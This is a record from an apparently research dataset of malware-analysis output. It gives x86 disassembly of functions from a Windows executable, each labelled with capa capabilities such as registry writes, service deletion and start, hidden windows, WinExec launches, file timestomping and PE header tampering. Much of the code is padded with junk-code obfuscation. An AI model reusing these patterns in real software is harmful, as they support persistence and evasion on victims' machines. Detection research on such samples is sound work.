joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425c62
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x48ca00]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425ca2
cmp byte [ebx], 0xa
jne 0x425ca2
or byte [eax + edi + 0x28], 4
jmp 0x425ca7
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x425da5
mov al, byte [edx]
cmp al, 0x1a
je 0x425d87
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x425cd6
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x425cfb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x425d05
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x425cb8
jmp 0x425da5
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425d82
cmp dword [ebp - 0xc], 0
je 0x425d82
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x48ca00]
test byte [eax + edi + 0x28], 0x48
je 0x425d5c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x425d47
mov byte [esi], dl
jmp 0x425d58
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x48ca00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x425da5
cmp byte [ebp - 1], 0xa
jne 0x425d6b
cmp esi, ebx
jne 0x425d6b
mov byte [esi], 0xa
jmp 0x425da4
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00421ea2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x425da5
mov byte [esi], 0xd
jmp 0x425da4
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x48ca00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425da1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425da5
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x425dae
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x48ca00]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425df1
cmp word [esi], dx
jne 0x425df1
or byte [edi + eax + 0x28], 4
jmp 0x425df6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x425f49
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x425f29
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x425e38
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x425e6e
cmp eax, edx
jae 0x425e7a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x425e10
jmp 0x425f49
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425f25
cmp dword [ebp - 0x14], 0
je 0x425f25
mov eax, dword [ebx*4 + 0x48ca00]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x425efd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x425ec6
mov word [esi], cx
jmp 0x425ef9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x48ca00]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x48ca00]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x48ca00]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x425f49
pop ebx
cmp word [ebp - 4], bx
jne 0x425f0e
cmp esi, dword [ebp + 0xc]
jne 0x425f0e
mov word [esi], bx
jmp 0x425f46
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00421ea2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x425f49
push 0xd
jmp 0x425f42
mov ecx, dword [ebx*4 + 0x48ca00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425f40
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425f49
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
xor edx, edx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x263]
mov byte [ebp - 0x264], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x15f]
mov byte [ebp - 0x160], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, 1
cmp eax, edx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edx
mov dword [ebp - 8], ebx
je 0x401057
mov esi, ebx
je 0x401066
mov di, di
mov edx, edx
xchg ebx, ebx
jne 0x401066
enter 0x5e1b, 0x11
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push ebx
lea eax, [ebp - 0x160]
push 0x4070a4
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x264]
push ebx
push 0x4070bc
push ecx
call edi
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
lea edi, [ebp - 0x160]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov dword [ebp - 0x48], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov edx, 4
dec ecx
mov dword [ebp - 0x34], 0x4070e4
mov dword [ebp - 0x30], 0x4070f0
mov dword [ebp - 0x2c], 0x4070fc
mov dword [ebp - 0x28], 0x40710c
mov dword [ebp - 0x24], 0x407114
mov dword [ebp - 0x5c], 2
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], edx
push edx
push bx
mov dl, 0xc
test dx, 0x40ef
test bh, bh
pop bx
pop edx
cmp esi, 5
jae 0x401168
lea edi, [esi*4]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov edx, dword [ebp + edi - 0x48]
mov eax, dword [ebp + edi - 0x20]
mov ecx, dword [ebp + edi - 0x5c]
push edx
mov edx, dword [ebp + edi - 0x34]
push eax
push ecx
lea eax, [ebp - 0x264]
push edx
push eax
push SysStringLen
call esi
test eax, eax
jne 0x401174
add edi, 4
cmp edi, 0x14
jb 0x40113a
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4011b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
push esi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4011d0
pop esi
pop ebx
pop ebp
ret
jl 0x4011f1
push dx
mov dx, 0x642f
pop dx
jge 0x4011f1
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x4011f2
push edx
cmp bh, byte [eax]
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push esi
push edx
push ebp
adc al, 0x8b
inc ebp
adc byte [esi + 0x52], dl
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push bx
push dx
push eax
cmp dh, 0x43
dec bl
dec bl
or bl, dh
cmp bl, 0x68
add bl, 0x3c
dec dl
dec bh
cmp eax, 0x6e32
pop eax
pop dx
pop bx
push esi
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 4
push eax
push ecx
inc al
sub ah, cl
dec eax
cmp cl, cl
cmp ch, dh
test ch, 0
or cx, bx
test ah, 0x35
test ax, 0x637b
pop ecx
pop eax
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop esi
pop ebx
pop ebp
ret

Function at 0x401260
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x4255f8
push 0x407010
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x40129a
pop ebx
pop ebp
ret
push ebx
and bx, cx
pop ebx
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebx
pop ebp
ret
Function at 0x4012b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x230]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
lea edi, [ebp - 0x230]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
mov edi, 0x407060
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
je 0x40139e
mov di, di
mov edx, edx
xchg ebx, ebx
jne 0x40139e
enter 0x5e1b, 0x11
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x12c]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
mov edi, dword [ebp + 0xc]
cmp edi, 0xffffffff
jne 0x4013d4
mov edx, dword [ebp + 8]
push edx
call fcn.00402470
mov esi, eax
add esp, 4
cmp esi, edi
jne 0x4013d7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
js 0x4013ec
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x4013ec
adc eax, 0xec458d2f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x24]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp edi, 0xffffffff
jne 0x40140b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401890
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], esi
stosb byte es:[edi], al
push eax
xor ax, bx
pop eax
call fcn.004015c0
push eax
push ecx
push edx
test cx, 0x7529
cmp cx, 0x2eaa
dec al
add ecx, 0x45fb
cmp ah, 0x7c
mov al, 0x3a
inc dx
cmp ah, 0x36
and cl, 0x44
pop edx
pop ecx
pop eax
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 4], esi
call fcn.00401180
mov esi, eax
call fcn.00401180
mov edi, eax
call fcn.00401180
push esi
mov esi, dword [ebp + 0x10]
push esi
mov ebx, eax
call fcn.004021e0
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.004021e0
push ebx
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.004021e0
add esp, 0x18
lea ecx, [ebp - 0x10c]
lea edx, [ebp - 0x314]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
push 0x40703c
push edx
call esi
lea eax, [ebp - 0x314]
push eax
call fcn.00403310
add esp, 0x14
test eax, eax
je 0x4019b5
lea ecx, [ebp - 0x10c]
push edi
push ecx
lea edx, [ebp - 0x210]
push 0x407048
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.00403310
add esp, 0x14
test eax, eax
je 0x4019b5
lea ecx, [ebp - 0x10c]
push ebx
push ecx
lea edx, [ebp - 0x210]
push 0x407048
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.00403310
add esp, 0x14
test eax, eax
jne 0x4019ca
mov eax, dword [ebp - 4]
inc eax
cmp eax, 3
mov dword [ebp - 4], eax
jl 0x4018fe
mov esi, dword [ebp - 8]
jmp 0x4019cf
mov esi, 1
mov ecx, dword [ebp + 0x14]
push 4
push ecx
call fcn.004021e0
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401b50
Capabilities:
Delete service

Disassembly:
add byte [ebp - 0x3d], bl
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
push esi
push edi
jb 0x401b6e
mov di, di
nop
nop
nop
jae 0x401b6e
loope 0x401b44
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0x8bb8ec44
inc ebp
or al, 0x8b
dec ebp
or byte [eax - 1], ch
add dword [edi], ecx
add byte [eax + 0x51], dl
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401b8b
pop edi
pop esi
pop ebp
ret
push eax
push ecx
inc al
sub ah, cl
dec eax
cmp cl, cl
cmp ch, dh
test ch, 0
or cx, bx
test ah, 0x35
test ax, 0x637b
pop ecx
pop eax
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edi, eax
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x402260
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [0x42562c]
sub esp, 0x82c
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x40227c
xor eax, eax
pop ebx
add esp, 0x82c
ret
xor eax, eax
push ebp
mov dword [esp + 9], eax
push esi
mov dword [esp + 0x11], eax
push edi
mov dword [esp + 0x19], eax
mov ecx, 0x40
mov word [esp + 0x1d], ax
lea edi, [esp + 0x2d]
mov byte [esp + 0x1f], al
mov byte [esp + 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x43d]
mov byte [esp + 0x43c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x338]
push 0x104
push ecx
mov byte [esp + 0x18], bl
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x130]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push 6
push eax
call fcn.004021e0
add esp, 8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x338]
lea eax, [esp + 0x234]
push ecx
push edx
push 0x4072fc
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov dword [esp + 0x20], 0x407374
mov dword [esp + 0x24], 0x407378
mov dword [esp + 0x28], 0x407384
lea edx, [esp + 0x20]
mov ebp, 3
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x2c]
repne scasb al, byte es:[edi]
mov edi, dword [edx]
add edx, 4
not ecx
dec ecx
mov byte [esp + ecx + 0x2c], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
dec ebp
rep movsb byte es:[edi], byte [esi]
jne 0x40235a
movsx ecx, byte [esp + 0x338]
lea edx, [esp + 0x130]
push ecx
lea eax, [esp + 0x134]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x448]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x450]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x40739c
mov byte [esp + ecx + 0x450], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x450]
push ecx
push eax
lea ecx, [esp + 0x250]
push 0x4072f8
push ecx
call fcn.004011b0
add esp, 0x24
test eax, eax
pop edi
pop esi
pop ebp
jne 0x40244c
pop ebx
add esp, 0x82c
ret
lea edx, [esp + 0x228]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 1
pop ebx
add esp, 0x82c
ret
Function at 0x4033c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, 1
js 0x4033df
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x4033df
adc eax, 0xc4d8b2f
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403403
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
jl 0x40341e
push edi
mov edi, 0x513b465
pop edi
jge 0x40341e
sbb dl, bl
pop ss
push es
mov dl, 0xf4
dec esi
or edi, ebp
stosb byte es:[edi], al
sub dl, dl
aad 0x79
jb 0x403423
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp - 4]
sbb byte [ebx - 0x74afebab], cl
inc ebp
adc byte [ecx - 0x75], dl
dec ebp
cld
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403440
xor esi, esi
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4037e0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
mov dword [ebp + 0xc], eax
jne 0x403821
pop edi
pop esi
pop ebx
pop ebp
ret
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov edi, dword [ebp + 0xc]
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x403866
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x420
je 0x403866
call esi
cmp eax, 0x422
je 0x403866
push edi
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
push edi
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403880
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x40703c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
jb 0x403911
nop
nop
nop
nop
jae 0x403911
xor edi, dword [edi + 0xe58be73]
lea ebx, [ebp - 0x7b2728a]
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00404f60
add esp, 0x18
pushal
test si, 0x3660
add si, 0x20c2
test edi, eax
popal
mov eax, dword [ebp - 4]
push eax
call fcn.004039a0
add esp, 4
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
lea eax, [ebp - 0x10c]
push edx
push eax
call fcn.00402020
add esp, 0xc
test eax, eax
jne 0x403968
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jbe 0x403979
xchg ecx, ecx
xchg dl, dl
ja 0x403979
pop eax
lea ecx, [ebp - 0x10c]
push 0xffffffffffffffff
push ecx
call fcn.004012b0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4039a0
Capabilities:
Parse pe header

Disassembly:
in eax, 0x5d
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
mov edx, dword [ebp + 8]
cmp word [edx], 0x5a4d
je 0x4039cd
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ecx
or bl, ah
sub cl, 0x27
cmp bh, 8
and cx, 0x784f
and bx, 0x94f
pop ecx
pop ebx
mov eax, dword [edx + 0x3c]
add eax, edx
jp 0x403a0c
push eax
mov ax, 0xea42
pop eax
jnp 0x403a0c
pop eax
mov edx, 0xb7bc9ea5
jb 0x403a2d
jp 0x403993
test cl, 0x87
xor esp, esi
cwde
push edx
cmp dword [eax], 0x4550
je 0x403a1d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jle 0x403a2b
mov si, si
mov si, si
jg 0x403a2b
fsub qword [ebp + 0x488b92c9]
mov ecx, dword [eax + 0x58]
pop eax
test ecx, ecx
je 0x403a3b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x40
jo 0x403a57
mov dx, dx
nop
xchg cx, cx
jno 0x403a57
mov al, 0x98
and ecx, dword [ecx - 0x7834e8a9]
mov ecx, 0x22515d21
call 0xf66237de
lds ebx, [ebx + 0x3b]
retf 0xc1f7
push edi
pop ss
retf
push ecx
and ch, al
cmp ch, 0x21
test ch, 0x5b
cmp ecx, edx
test ecx, 0x709c
xor ch, 6
pop ecx
cmp dword [edx + 0x3c], 0x80
ja 0x403a7e
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x403aa3
push di
mov di, 0x4fff
pop di
jae 0x403aa3
fdiv dword [esi + 0x6f]
cmp esp, dword [eax]
inc eax
push 0xb7f8c08b
ja 0x403a50
inc ecx
invalid
mov edx, dword [edx + 0x3c]
cmp edx, 0xc0
jae 0x403ab1
lea edi, [edx - 0x80]
jle 0x403ac1
push si
pop si
jg 0x403ac1
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jne 0x403ad8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jle 0x403ae6
mov si, si
mov si, si
jg 0x403ae6
fsub qword [ebp - 0x9cc6d37]
xor esi, esi
test edi, edi
jbe 0x403b25
push ebx
push ax
xor al, bl
add ah, 0x25
cmp ax, dx
sub ax, dx
or ebx, 0x62f5
cmp ebx, edi
or ax, bx
test bl, 1
pop ax
pop ebx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 4]
inc esi
cmp esi, edi
mov byte [esi + eax - 1], dl
jb 0x403aec
je 0x403b34
mov di, di
mov edx, edx
xchg ebx, ebx
jne 0x403b34
enter 0x5e1b, 0x11
mov edx, dword [ebp + 8]
mov ecx, edi
mov esi, eax
lea edi, [edx + 0x80]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
js 0x403b64
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x403b64
adc eax, 0x76e8502f
adc al, 0
add byte [ebx + 0x1b804c4], al
add byte [eax], al
add byte [edi + 0x5e], bl
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret